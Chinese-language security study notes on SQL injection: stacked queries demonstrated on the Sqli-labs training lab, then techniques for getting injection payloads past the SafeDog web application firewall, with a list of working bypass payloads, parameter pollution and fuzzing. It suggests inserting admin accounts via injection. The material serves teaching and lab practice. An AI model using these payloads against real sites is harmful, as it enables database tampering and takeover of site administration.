堆叠查询注入
Stacked Injections(堆叠注入),从名词的含义就可以看到应该是一堆(多条)sql语句一起执行。在真实的运用中也是这样的,在mysql 中,每一条语句结尾加 ';' 表示语句结束。union injection(联合注入)也是将两条语句合并在一起,两者之间区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如:
用户输入: 1; DELETE FROM products 因未对输入的参数进行过滤,服务器端生成的 sql 语句为: Select * from products where productid=1; DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
局限性
只产生在部分数据库,并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎
不支持的限制。堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,如php中 mysqli_multi_query() 函数,该函数支持同时执行多条sql语句,而与之对应的 mysqli_query() 函数一次只执行一条 sql 语句。要想实施堆叠注入,在目标没有对堆叠注入进行黑名单过滤的情况下,必须存在类似于 mysqli_multi_query() 的函数。总结下来就是:
目标存在sql注入漏洞 目标未对";"号进行过滤 目标中间层查询数据库信息时可同时执行多条sql语句
实例演示
以 Sqli-labs/less-38 为例。
// take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity //mysql connections for stacked query examples. $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname); // Check connection if (mysqli_connect_errno($con1)) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } else { @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname"); } $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; /* execute multi query */ if (mysqli_multi_query($con1, $sql)) { /* store first result set */ if ($result = mysqli_store_result($con1)) { if($row = mysqli_fetch_row($result)) { echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]); echo "<br>"; printf("Your Password is : %s", $row[2]); echo "<br>"; echo "</font>"; } // mysqli_free_result($result); } /* print divider */ if (mysqli_more_results($con1)) { //printf("-----------------\n"); } //while (mysqli_next_result($con1)); }
http://127.0.0.1/Less-38/?id=1';insert into users(id,username,password) values('38','less38','hello')--+
mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 38 | less38 | hello | +----+----------+------------+ 14 rows in set (0.00 sec)
堆叠注入核心就是针对非注册注入的 insert。应用场景:需要管理员权限时,无法解密密码,使用堆叠注入插入数据,创建管理员账号或UPDATE原管理员密码等……再用自己定义的账密登陆后台。很多网站后台权限划分时常见以组划分,插入数据时注意即可新建管理员权限的新账号。比如 dedecms 中的 dede_member 表,有 mtype 列,值为 'admin' 则为管理员。类似 Linux 文件系统的权限划分。
WAF绕过:SQL注入
参考 https://www.cnblogs.com/cute-puli/p/11146625.html
https://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html
WAF绕过主要围绕下面三款市面主流WAF软件:宝塔、安全狗、阿里云盾,需要搭建相应真实环境本机无法模拟(阿里云盾需要阿里云服务器)
WAF绕过主要在数据和提交方式上做文章,加上其他方式打配合。
数据:网站的参数数据,大部分过滤就是对数据的检测,对数据操纵进行过滤绕过;
提交方式:GET/POST/头注入;
其他方法:根据绕过的漏洞和注入的数据库不同的特性,垃圾数据/参数污染等等。
安全狗
防护能力不如其他,但免费,用的人多。
全部打开可能会误报,把正常的请求/资源访问拦截,为了网站正常运行+起到防护,安全狗初始安装会对某些防护进行默认关闭。
网站防护:漏洞防护(HTTP、上传)+文件防护(浏览、短文件名)
漏洞防护➡️HTTP安全检测,检测规则库(检测项目其实就是检测提交方法,GET/POST/HTTP头/COOKIE注入,有些提交方式检测项目仅检测URL即GET型注入,不对其他提交方式做检测,有操作空间):
还有对很多注入工具的拦截(sqlmap、nmap、穿山甲、havi扫描……:
资源防护:内容防护+资源防护+流量防护
内容防护:后台地址防护(防止扫描到后台)、资源防护(mdb文件和sql文件在没有防护时可以直接访问或下载,资源防护就是对特定资源做保护)
CC攻击防护:经常用工具对网站做扫描时候,工具一开网站就down了,其实是有流量攻击防护。根据ip地址请求的次数过多、过快,判定为黑客行为直接拦截。
WAF绕过是针对已知规则、特定漏洞进行尝试绕过,方法思路都不一样,针对规则。
检测规则都是代码实现的,检测的不全就有空子可钻。
接下来研究安全狗的具体绕过实例。
有条件可以搞个阿里云服务器,在上面开个安全狗
安全狗绕过示例一:默认拦截机制分析(未开CC攻击流量防护)
阿里云服务器(ip加州)开安全狗,开sqlilabs,访问并尝试注入发现遭遇拦截:http://39.96.44.170/sqlilabs/Less-2/?id=1 and 1=1
思路1:换提交方式。http://39.96.44.170/sqlilabs/Less-2/index.php,把id=1 and 1=1放到Post data payload里提交。
没有出现拦截但网页显示不正常:Please input ID as parameter with numeric value。代码决定参数的接受方式,只接受GET/都接受/……
看一下第二关的代码:只接受GET形式传递的ID值。采用POST发送是接受不到的,网站之所以显示上图是因为参数没接收到。提交方式注入绕过是有前提条件:代码支持你换的那种提交方式。
// take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; echo $sql; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value"; } ?>
修改代码,然后再把id=1 and 1=1#放到Post data payload里提交注入:
// take the variables if(isset($_REQUEST['id'])) { $id=$_REQUEST['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; echo $sql; $result=mysql_query($sql); $row = mysql_fetch_array($result);
正常传参了。再正常注入 id=-1 union select 1,database(),3#,被拦截,是因为安全狗漏洞防护- HTTP安全检测中的【防止查询数据库相关信息】开启了。
绕过WAF是多角度的一件事。
勾选掉【检测POST】,重启下安全狗,再次尝试查询就可以查到数据库名了。
这种改代码啊、改WAF防护软件过滤规则只是为了阐明:绕过WAF需要八仙过海各显神通,思路打开……
那么:如果更改提交方式后,想注入查询数据库名,还是被拦截,怎么办?
拦截的是【查询数据库信息】,属于数据层面,所以接下来我们从【提交方式】转战到【数据】层面。对数据进行相关的变异:大小写、加解密、编码解码(比如base64)、等价函数(比如说eval assert/mid ascii,起到相同的作用但可以用其他函数替换掉敏感函数)、特殊符号(比如 select !database(); select ~database(),加了特殊符号有可能绕过过滤规则的匹配机制,达到一个不干扰语句正常执行但成功绕过WAF的目的)、反序列化(把数据以反序列化的格式提交绕过,前提条件是对方代码支持反序列化)、注释符混用(通过注释符实现干扰匹配机制)
注释符和特殊符号具体数据库具体讨论,每个不一样
继续讨论:在waf拦截【查询数据库信息】时,怎样注入 database() 语句?拆分!
可以采用注释符:mysql特有注释符 /**/ 不影响语句执行
id=-1 union select 1,database/**/(),3#
安全狗会匹配到 database/**/() 而非过滤机制 database(),所以可以绕过。
接下来加大难度,id传递类型改回GET
// take the variables if(isset($_GET['id'])) { $id=$_GET['id'];
安全狗漏洞防护的HTTP安全拦截机制有非常多针对GET提交方式(URL)的过滤,所以更难了,少数针对POST形式的拦截,上面的演示属于钻空子了,接下来强制在GET上面做文章:
尝试注入:http://39.96.44.170/sqlilabs/Less-2/index.php?id=-1 union select 1,2,3#
被拦截。多尝试几次发现union不拦截,select也不拦截。应该是union select关键字被拦截。绕过思路:不让union和select在一起,并且保证语句执行。加上注释符:
%0a 是十六进制的换行符(URL编码)
%23 是十六进制的 # 号(其实这就是数据的编码解码+特殊符号+注释符)
?id=-1 union/**/ select 1,2,3# 被拦截 ?id=-1/*%0a*/union/*%0a*/select/*%0a*/1,2,3# 被拦截
#部分bypass sql inject payload id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23 id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23 id=-1%20union%20/*!44509select*/%201,2,3%23 id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23 id=1/**&id=-1%20union%20select%201,2,3%23*/ 参数污染+特殊符号+注释符 id=-1 %20union%20all%23%0a%20select%201,2,3%23 -1 %20union%20all%23%0a20select%201,%230%0Adatabase/**/(),3%23
?id=-1 union%23a%0Aselect 1,2,3%23
注入成功:%23代表#,%0A代表换行符,a是加的字符。
为什么要加a?防止隔行匹配到union select然后拦截了。
为什么加a之后要加%0A换行?因为不换行的话,就把 #aselect 1,2,3# 注释掉了。
安全狗绕过示例二:参数污染(开启CC攻击流量防护)
概念理解:参数污染
以小迪本机(php+apache)示例,访问:127.0.0.1:8080/test.php?y=13&y=3
按照上图具体服务器端处理方式,PHP/Apache取的是最后一个参数,只取到3。
如果是JSP/Tomcat,就会取到12。
如果是Python/Apache,就会取到123。
<?php $x=$_GET['y']; echo $x; ?>
概念理解:语句前后加上/*!*/能正常执行,属于数据库特性
mysql>/*!select * from users*/; id=1/**&id=-1%20union%20select%201,2,3%23*/ 参数污染+特殊符号+注释符
id=1/**&id=-1%20union%20select%201,2,3%23*/ 能绕过安全狗注入成功。
由于是Apache环境,接受到的参数应为:id=-1%20union%20select%201,2,3%23*/
即为:id=-1 union select 1,2,3#*/ 那么为什么前面要加 /**,并且去掉后就被拦截?
因为安全狗接受到的、匹配是否要过滤的是:1/**&id=-1 union select 1,2,3#*/ 或者 1/**-1 union select 1,2,3#*/
mysql中,/***/ 是一种块注释符,括在其中的语句都不执行。安全狗检测到的只是1。注释符包起来的直接不管,但参数污染导致Apache接受并送进数据库执行的是:id=-1 union select 1,2,3#*/
简单提下大纲中的【其他方法】:Fuzz大法
Fuzz大法:模糊测试,暴力测试,类似密码爆破,爆破到真实密码就登录成功,Fuzz也是类似的思路,比如之前的payload ?id=-1 union%23a%0Aselect 1,2,3%23 可以写脚本批量生成payload(比如把%0A改成%0B,%0C,%0D……)批量测试具体哪个payload没有被拦截,就视为绕过waf。Fuzz其实等同于写好字典批量化访问/使用工具生成payload,模拟手工不断测试,就是这样的一种思路。
unionselect.txt是现成的各种payload:
要么就是在union上做文章:
实际手工注入时候思路总会是狭隘的,把可能性全部写进脚本跑。
简易CMS头部注入漏洞绕过及原理分析
注入点出现在X-Forwarded-For字段(头部注入),因为安全狗HTTP安全检测里没有针对X-Forwarded-For字段的匹配过滤。
宝塔
一个一键化搭建工具,类似phpstudy,很多灰色网站用宝塔一键搭建。宝塔内部有防护插件。比安全狗难绕过。